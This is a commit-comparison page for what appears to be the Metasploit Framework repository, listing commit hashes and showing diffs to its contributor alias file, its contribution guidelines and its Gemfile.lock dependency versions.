Compare commits
660 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ba0ead6915 | |||
| 6412c66848 | |||
| aec434f4aa | |||
| 969abadba6 | |||
| b057a9486c | |||
| a54945c82c | |||
| ff63e6e05a | |||
| 8d8e1f80f5 | |||
| c8d009209f | |||
| b954b6d5c1 | |||
| 26da2a2ce5 | |||
| 6d8dd24e41 | |||
| 01c5662b61 | |||
| e3801c425b | |||
| 2041870e62 | |||
| 20d7e9a7a7 | |||
| b13d0f879a | |||
| b08d1ad8d8 | |||
| 3ed6632f88 | |||
| 1ea425aff1 | |||
| db2850b51c | |||
| b6b52952f4 | |||
| 01d0d1702b | |||
| 9862a2fc25 | |||
| 78bfced8dd | |||
| b2c3267a2a | |||
| ee90e5e96d | |||
| ea94e9752a | |||
| 5e993a6823 | |||
| fcdb32795d | |||
| 7b5e3a880d | |||
| 3e6fed7958 | |||
| 0304b2c1e2 | |||
| 8f928c6ca1 | |||
| 815c426b4d | |||
| 621f3fa5a9 | |||
| 556620d981 | |||
| f11b84f106 | |||
| e9350986a4 | |||
| 1a15fc1c2e | |||
| 8f73167b15 | |||
| f164afaef8 | |||
| c3e8f81982 | |||
| af3ac60e28 | |||
| 310332b521 | |||
| b869b890c7 | |||
| 2471e8bc8c | |||
| 277950cc79 | |||
| f6751f3c90 | |||
| a79f6fccad | |||
| 43833c8756 | |||
| 2b016e0216 | |||
| 7b1d9596c7 | |||
| 117a0945b1 | |||
| 627fffdb08 | |||
| 128f802928 | |||
| 79fd648bbe | |||
| 6ab0dbc321 | |||
| 2c7ffcc3a8 | |||
| 7211936f96 | |||
| 8817de793a | |||
| fc56ab6722 | |||
| e79c3ba7c0 | |||
| 108c3961e2 | |||
| 963437d5e7 | |||
| c2a5da08af | |||
| ffa340500f | |||
| 52c6daa0f2 | |||
| b75084249a | |||
| 92a592d303 | |||
| fdce5bc30c | |||
| 0a40e7d8f5 | |||
| 55f27fb6fe | |||
| 25f49c0091 | |||
| 202969fae9 | |||
| 48410f3ab2 | |||
| bbe4162320 | |||
| d0e1c67c18 | |||
| 201750a31b | |||
| 2cc6565cc9 | |||
| 09dcd1dade | |||
| deecb24967 | |||
| 54fa43030d | |||
| 892f354ece | |||
| 47cf6d5edf | |||
| 1c8556d8e0 | |||
| a362d8b9c8 | |||
| fee361dae0 | |||
| 532ea5d4c4 | |||
| 7a321c7350 | |||
| c23be2bb79 | |||
| bd566da5ca | |||
| 45401bfe45 | |||
| 4ec69236d2 | |||
| d923a5d42d | |||
| 899ea558e3 | |||
| b4b3a84fa5 | |||
| 82e092c2df | |||
| a14f4992ab | |||
| 1164c025a2 | |||
| 1e0dcb9268 | |||
| 21bede1166 | |||
| e404dfeaea | |||
| 049b322ae4 | |||
| 8490a3b775 | |||
| 0390ed4d6e | |||
| 8de508c4e0 | |||
| 2f3f655352 | |||
| 74b4087d5c | |||
| 6290cb681f | |||
| 6e7f07f0f3 | |||
| 8b430826c6 | |||
| 5f9f3259f8 | |||
| 7f341336b2 | |||
| 85937ab839 | |||
| 7d638a0975 | |||
| 054ac5ac19 | |||
| e29d5b9efe | |||
| 0f8efec001 | |||
| f9f47f7a79 | |||
| 5dc7d4b16e | |||
| 85dfec0cf5 | |||
| 58e37931c5 | |||
| 5a8469d1cb | |||
| ef322ab9aa | |||
| 4b77de2174 | |||
| cfc368ab65 | |||
| 6575be72de | |||
| 5181fa53ba | |||
| b9891aab27 | |||
| 9b4028d2d7 | |||
| 54dfcee665 | |||
| ec4769fade | |||
| 05ef5316df | |||
| cf95c9f7f5 | |||
| 78335f8e20 | |||
| f246aa0b58 | |||
| 54092177a2 | |||
| 3fe4ffb225 | |||
| 12812650c0 | |||
| 4ed12d7077 | |||
| 844c13dc17 | |||
| 3850431966 | |||
| 6108352683 | |||
| 10e45bbebe | |||
| c45f30a7a9 | |||
| bca0d716c0 | |||
| 1bf03ab4ec | |||
| 70a79bb0e8 | |||
| 2e97a08954 | |||
| 02d40eb576 | |||
| 4b01213fb5 | |||
| a1bd640eff | |||
| d42d9f8557 | |||
| 9663f88fdc | |||
| 159446ce92 | |||
| 6e1b6e96a9 | |||
| f0cd25dcee | |||
| 1401a61f59 | |||
| fec2301fc8 | |||
| cdf3c63af9 | |||
| 343f4010bd | |||
| dbcdc300e5 | |||
| d6c7ac51d6 | |||
| 20c2a10e8a | |||
| 118caa13bf | |||
| 23399326c2 | |||
| 3edb0b3625 | |||
| 31ea58d7f0 | |||
| 1ecef265a1 | |||
| e2b9225907 | |||
| afbeb2b668 | |||
| d1281b6594 | |||
| 0a85f1d233 | |||
| 068a4007de | |||
| 8a777bec41 | |||
| c489c5ce3e | |||
| 5e39f895cf | |||
| 68bd4e2375 | |||
| 80563b2c0f | |||
| 55457ef977 | |||
| 80c65ec4fc | |||
| d186844cde | |||
| a796a1bc63 | |||
| 2dba09a9ce | |||
| dcddd2d671 | |||
| 39fa8bf2d4 | |||
| 3d93c55174 | |||
| 4e63591ce8 | |||
| ee2d1d4fdc | |||
| 356f4fd54d | |||
| 0a83b34a85 | |||
| d90f0779f8 | |||
| 97f9ca4028 | |||
| e3e360cc83 | |||
| ac5d2709cf | |||
| d5d0b9e9b8 | |||
| 0660880332 | |||
| 70a7415185 | |||
| fcf8cda22f | |||
| 5f08591fef | |||
| c2f3d411c3 | |||
| fd07da3519 | |||
| 2480781409 | |||
| c2b4e22b46 | |||
| 1e7202cf9b | |||
| 058115c21f | |||
| 15a1a9ed71 | |||
| 5d4cc7ab40 | |||
| 409e26351b | |||
| 6c3871bd0c | |||
| 4c5fd78937 | |||
| 5bc513d6cd | |||
| 9f280d714e | |||
| 3fb9eae687 | |||
| b38b116c9a | |||
| 5e1b7d8c0f | |||
| 63d8787101 | |||
| 0fd83b50d1 | |||
| ff741fbc35 | |||
| 92522138c5 | |||
| 08d08d2c95 | |||
| 464808d825 | |||
| 92c70dab6f | |||
| ffabf26593 | |||
| 7a36d03fe3 | |||
| 47674c77ad | |||
| fbd0bc4308 | |||
| e9e4e7d069 | |||
| 40d7de05ef | |||
| fc79f3a2a9 | |||
| 579a3bcf7c | |||
| 47e4321424 | |||
| 048741660c | |||
| a1b1b31f98 | |||
| f5e6eccce2 | |||
| 3e94abe555 | |||
| 18f6d2143c | |||
| 6072697126 | |||
| 140621ad9b | |||
| de5152401a | |||
| 8697d3d6fb | |||
| 0126ec61d8 | |||
| b3f59ebd19 | |||
| 07f7e5e148 | |||
| 4b3f6c5d29 | |||
| 039e8f5899 | |||
| c2a063c8ae | |||
| 1e053c110a | |||
| df1a9bee13 | |||
| 3842753ce4 | |||
| f85e7972d1 | |||
| 9cb57d78d7 | |||
| 81f30ca962 | |||
| 69e2d05a5d | |||
| b9d0bcc193 | |||
| 15a3d739c0 | |||
| 129b449355 | |||
| 718f36f1af | |||
| 3f9d0630ce | |||
| e692e32dae | |||
| c816af1e4d | |||
| 5a92dc205e | |||
| 2b85b210e9 | |||
| 95517b4a45 | |||
| bbaa3ad9f9 | |||
| 6cb2a6970e | |||
| 856a4c7684 | |||
| 6fe7698b13 | |||
| a84614f2c0 | |||
| ce7c6496dd | |||
| 3f25c27e34 | |||
| ddfd015310 | |||
| 6507e520c7 | |||
| d8f6be0a3f | |||
| 1db10eec39 | |||
| 3feff7533b | |||
| b4af7eb039 | |||
| 3aff0050ee | |||
| 01a951d5aa | |||
| 5405b0f3db | |||
| 34130592f1 | |||
| c02a05f913 | |||
| 1225a93179 | |||
| ba72d3fd92 | |||
| c130495968 | |||
| 813777a8e4 | |||
| fee54b4a5a | |||
| 98ad2489db | |||
| 0af2fa7164 | |||
| 9ea0b8f944 | |||
| 856baf5f32 | |||
| ea988eaa72 | |||
| 674470c5de | |||
| 6ea9d7a6f7 | |||
| 050b604e77 | |||
| 0e5c5559cf | |||
| cfb034fa95 | |||
| cd207df6b8 | |||
| 74103f3760 | |||
| c6b1955a5a | |||
| 312175eed3 | |||
| 4fb7472391 | |||
| f5bfc84453 | |||
| 0451d4f079 | |||
| bca88d8443 | |||
| 81fa068ef0 | |||
| 24eba6b831 | |||
| 8a68e86a0a | |||
| 48714184f3 | |||
| 78775f7833 | |||
| 52db99bfae | |||
| fe4cfd7e3e | |||
| 1d27538545 | |||
| 625d60b52a | |||
| 17f0a0770f | |||
| 980658c9f4 | |||
| 4a8011eb9e | |||
| cc30ece6ce | |||
| 3ed85b6b25 | |||
| a7c778b852 | |||
| bd4dacdbc3 | |||
| 72ed478b59 | |||
| 563b8206c5 | |||
| 337e48dc07 | |||
| 3a39d8020d | |||
| 52bbd22a81 | |||
| b321f72b41 | |||
| f7d261516d | |||
| b7139da624 | |||
| 776dd57803 | |||
| 4de337e6d9 | |||
| 1ba33ff7f8 | |||
| a2a97d0271 | |||
| 2e03c3511e | |||
| 7831cb53c5 | |||
| f63273b172 | |||
| 8c7796c6d3 | |||
| 46eff4c96d | |||
| ec1248d7af | |||
| 5adc360b2a | |||
| 6af3c4ab99 | |||
| 3147553d4f | |||
| 26680f58ca | |||
| fd4a51cadb | |||
| 46239d5b0d | |||
| 17974d74e2 | |||
| 6cd1da414f | |||
| d63dc5845e | |||
| cd84b42e50 | |||
| c0093381d7 | |||
| 68fdeb6031 | |||
| a58a3d4330 | |||
| 5f4153308c | |||
| 233186c833 | |||
| ba6d00cee2 | |||
| d470371694 | |||
| 6f5edb08fe | |||
| 4354b5d5d6 | |||
| 99790e343d | |||
| c2699ef194 | |||
| 68d647edf1 | |||
| 52d5028548 | |||
| 7f92088242 | |||
| d9efc8d803 | |||
| 34a5ce4816 | |||
| b893f17d2b | |||
| 55e22d7531 | |||
| 2715883fa2 | |||
| ffc730160b | |||
| 4676d70918 | |||
| 4a95e675ae | |||
| 2edd6869fc | |||
| 816bc91e45 | |||
| 3da451795c | |||
| 2319629dd8 | |||
| 4970047198 | |||
| 8841e3b5c7 | |||
| 4c2e130470 | |||
| 1ea7cf27a3 | |||
| ad474f95bb | |||
| 7b740af67e | |||
| a808c9fe63 | |||
| 8151a0dca7 | |||
| 6abff3aa30 | |||
| 24ad1aca52 | |||
| 3c629131ab | |||
| 7e511a280e | |||
| ec77b734ee | |||
| 33eac94f18 | |||
| 0e39bef70f | |||
| ec6540b806 | |||
| 70a85675f1 | |||
| 10f24ddd57 | |||
| ccd6a399c8 | |||
| febf5ef08f | |||
| 00d2756b63 | |||
| ca47bf553c | |||
| 0174506e07 | |||
| ef50d04258 | |||
| 9735b26b30 | |||
| 4551a5814d | |||
| 6401062fec | |||
| 809dfc0ac8 | |||
| a5fdd1d1f0 | |||
| 8c0facda4c | |||
| e2aa53d528 | |||
| 565967d649 | |||
| 9f668a9509 | |||
| 828eca0a92 | |||
| 6c7ab33f49 | |||
| aa063953f9 | |||
| a6ad51794d | |||
| 625d80ed6f | |||
| 91fedd16eb | |||
| dfb03c1dbe | |||
| fc07d83596 | |||
| 955929ee5c | |||
| 42bc9adcbf | |||
| 36202daf26 | |||
| d315f26bee | |||
| 696c909e82 | |||
| 2e3438f792 | |||
| cae6931015 | |||
| cd7bf454e3 | |||
| 48a1ff9f6b | |||
| 6c4d96a9b5 | |||
| 44694e84fe | |||
| 8f0b15c4e6 | |||
| 375aadcac9 | |||
| f1752cd47f | |||
| 8bbd3060da | |||
| bc6430b6d5 | |||
| 5ad9570ef8 | |||
| e597badd97 | |||
| 895aef65a9 | |||
| f054e22047 | |||
| 7e0aee396b | |||
| c42121fd70 | |||
| 13e148794c | |||
| 3256419d7e | |||
| 62ac43d2db | |||
| b10cbe4fab | |||
| ace51a6fff | |||
| 2fbde41050 | |||
| 8771a79e45 | |||
| e28898a214 | |||
| af1458a9b8 | |||
| ef82b78014 | |||
| 273fc03807 | |||
| f8e34598ce | |||
| 00527019b2 | |||
| 95e0c136b8 | |||
| 927e35b4fc | |||
| b27dcf7425 | |||
| b144788379 | |||
| 2f4ec1f33f | |||
| d61c7383d0 | |||
| 5831242522 | |||
| 4335e569e7 | |||
| c5f52ba0b1 | |||
| a679411751 | |||
| 3356d75da8 | |||
| 84ddb259e3 | |||
| 73f43686a0 | |||
| 1836d3e17b | |||
| aa53c3ba88 | |||
| 1b2c5392f4 | |||
| a896b71340 | |||
| 70f8405fc6 | |||
| 12bed05b8e | |||
| cbffc31bbf | |||
| 4a77f6d543 | |||
| 19584083e7 | |||
| 5e082f8e69 | |||
| b7b5190bf2 | |||
| 1db53a6f25 | |||
| 066c58853a | |||
| 7b197b24c8 | |||
| bb3856a810 | |||
| 88297814a1 | |||
| db0b273c50 | |||
| 73e5bb5dc2 | |||
| 224ee713ef | |||
| 71fe21eb24 | |||
| a523a4975f | |||
| c7036ec905 | |||
| 90991f102b | |||
| ef1b6e024d | |||
| 61d6e1071f | |||
| 75deaf4067 | |||
| c0ef55071b | |||
| fde85af26e | |||
| 03f527c8a0 | |||
| 961003f61d | |||
| e510523fe9 | |||
| 9a1ebf424d | |||
| 7106afdf7d | |||
| 183913b690 | |||
| 6ce5880bdc | |||
| 313d6f666d | |||
| d3f7e0344f | |||
| dce4e5a011 | |||
| 6bb008a0ed | |||
| 2a02bc38c4 | |||
| 1d3aec5220 | |||
| 2ec2e4595e | |||
| e00c79a4cc | |||
| 8595230eb0 | |||
| dbe731f111 | |||
| e3e1e14d2d | |||
| ad29d2096d | |||
| 18b6e2781c | |||
| b166b4ba2a | |||
| 147e18ba6a | |||
| 0b06ce432b | |||
| 0881bebc7a | |||
| e285bdfbb2 | |||
| 107d63b98f | |||
| b25e2a319a | |||
| 2c1fc9123d | |||
| dd15cfa5c0 | |||
| 5f728909f4 | |||
| 032dcd2472 | |||
| a67ae3bc14 | |||
| 1278c03e49 | |||
| 13dd49d1a6 | |||
| e4965ad56b | |||
| 1e19620df6 | |||
| 0b4840b45e | |||
| 02598d5e62 | |||
| 15fdc3478e | |||
| c936c3f30d | |||
| f5348a13f4 | |||
| 3a1009cd0f | |||
| f8fe1d1275 | |||
| 803b3da33b | |||
| 549e430191 | |||
| 0519376c46 | |||
| 04032a712b | |||
| bd1e39dc2b | |||
| cb3e6add9a | |||
| 116cae37ef | |||
| d9d59a7164 | |||
| cbf29db377 | |||
| 8754998e84 | |||
| 740295e83f | |||
| f4467819cf | |||
| 39a9f2603d | |||
| 1203496611 | |||
| 19ab9e3089 | |||
| 4765009259 | |||
| cad6fee858 | |||
| d30a649e0c | |||
| 9cf88abe23 | |||
| 018af4efe2 | |||
| 442195d988 | |||
| 9ce2af1700 | |||
| 850fa29513 | |||
| e421631799 | |||
| 65fe03c9d0 | |||
| ad7588c8ef | |||
| 634d4aa07e | |||
| 7bc3192a77 | |||
| ba8d3e5296 | |||
| 91367ecbc9 | |||
| ae297906bd | |||
| b784b48d02 | |||
| 34b3bb6d07 | |||
| 61cee1dacd | |||
| abf2b68b63 | |||
| 465a6f3b98 | |||
| 93bfd9fce7 | |||
| 5690cb5d19 | |||
| e926f9ca82 | |||
| 742c3b48ca | |||
| 040936ed6b | |||
| 395caafefa | |||
| 69c16b3c7d | |||
| bdf91b0060 | |||
| fb4f65ddfd | |||
| 0635e4542f | |||
| 410f81f0ea | |||
| c5d3887da5 | |||
| 8653c77279 | |||
| 2d7b2a57b2 | |||
| 88bcf430d3 | |||
| 790108045f | |||
| 84fee2683b | |||
| f076233f58 | |||
| 746e698585 | |||
| 2cdcba65f5 | |||
| 8d81eb9280 | |||
| a1d0f2eb1d | |||
| f4bea53bd1 | |||
| 29cb03140e | |||
| 84169a8cb1 | |||
| 48e96e757f | |||
| 595df442a2 | |||
| f9a18cd655 | |||
| 2ac59b27bb | |||
| f3e060294c | |||
| 32ccbbbe45 | |||
| dfed9e2864 | |||
| e18f4dd40e | |||
| 76dad50dd7 | |||
| 67e16aed62 | |||
| db447932c0 | |||
| 5dbb395e24 | |||
| 2477978613 | |||
| e7974c50bb | |||
| 83ee6f65ef | |||
| cb6e187a39 | |||
| 2765cf1ad7 | |||
| 30f958206e | |||
| 4fc5b143f8 | |||
| 5af77686ab | |||
| 2369ee9dc9 | |||
| 26e86e97cd | |||
| e726e35144 | |||
| 91dca74f85 | |||
| 1e04d27e52 | |||
| bd9e1f8d76 | |||
| 10c9200d8e | |||
| d8f3bbc35e | |||
| b73f28f295 | |||
| f737643447 | |||
| 60520ccc8c | |||
| 66c55cfc6d | |||
| c0e762335e | |||
| ef7246f409 | |||
| 6a5ccf7c1e | |||
| ebbf2f48d2 | |||
| 4bb959e504 | |||
| 1298377f04 | |||
| 8ca20488bc | |||
| f11aed7175 | |||
| 8f8c10171d | |||
| 7fe6b31354 | |||
| 391752d815 | |||
| b9b33afbde | |||
| 2645b34a5a | |||
| 13b401558c | |||
| 27fe357478 | |||
| 992ab6ba38 | |||
| d2b7c83d7d | |||
| 0a7cf7d625 | |||
| db83e02705 | |||
| 4b51535616 | |||
| 6d6220f402 | |||
| 9a4d105aed | |||
| fe849d665a | |||
| 8a36bf7d09 | |||
| cf6445a21c | |||
| 115dcd275f | |||
| cbca39032b | |||
| bd63c76823 | |||
| 3e3e46700f | |||
| 3d18c26fd9 | |||
| ddcb01d77e |
@@ -1,8 +1,11 @@
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
@@ -16,30 +19,40 @@ ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -151,10 +164,11 @@ void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
|
||||
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
|
||||
@@ -45,6 +45,7 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
@@ -56,6 +57,10 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
@@ -102,6 +107,7 @@ already way ahead of the curve, so keep it up!
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
|
||||
+82
-54
@@ -1,11 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.7)
|
||||
metasploit-framework (4.12.15)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
bcrypt
|
||||
bit-struct
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -13,9 +14,11 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.11)
|
||||
metasploit-payloads (= 1.1.13)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle
|
||||
msgpack
|
||||
net-ssh
|
||||
network_interface
|
||||
nokogiri
|
||||
octokit
|
||||
@@ -28,36 +31,44 @@ PATH
|
||||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-java
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyzip
|
||||
sqlite3
|
||||
sshkey
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (4.2.6)
|
||||
actionview (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionpack (4.2.7)
|
||||
actionview (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionview (4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activemodel (4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.6)
|
||||
activemodel (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activerecord (4.2.7)
|
||||
activemodel (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.6)
|
||||
activesupport (4.2.7)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
@@ -75,6 +86,7 @@ GEM
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.1)
|
||||
addressable
|
||||
@@ -87,16 +99,16 @@ GEM
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.3.3)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.4.0)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 3.2.0)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-core (1.4.0)
|
||||
gherkin (~> 3.2.0)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.3)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 3)
|
||||
@@ -114,10 +126,10 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.9.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.10)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (3.2.0)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
@@ -129,7 +141,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.2)
|
||||
metasploit-credential (2.0.3)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
@@ -141,7 +153,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.11)
|
||||
metasploit-payloads (1.1.13)
|
||||
metasploit_data_models (2.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -152,19 +164,22 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.5)
|
||||
method_source (0.8.2)
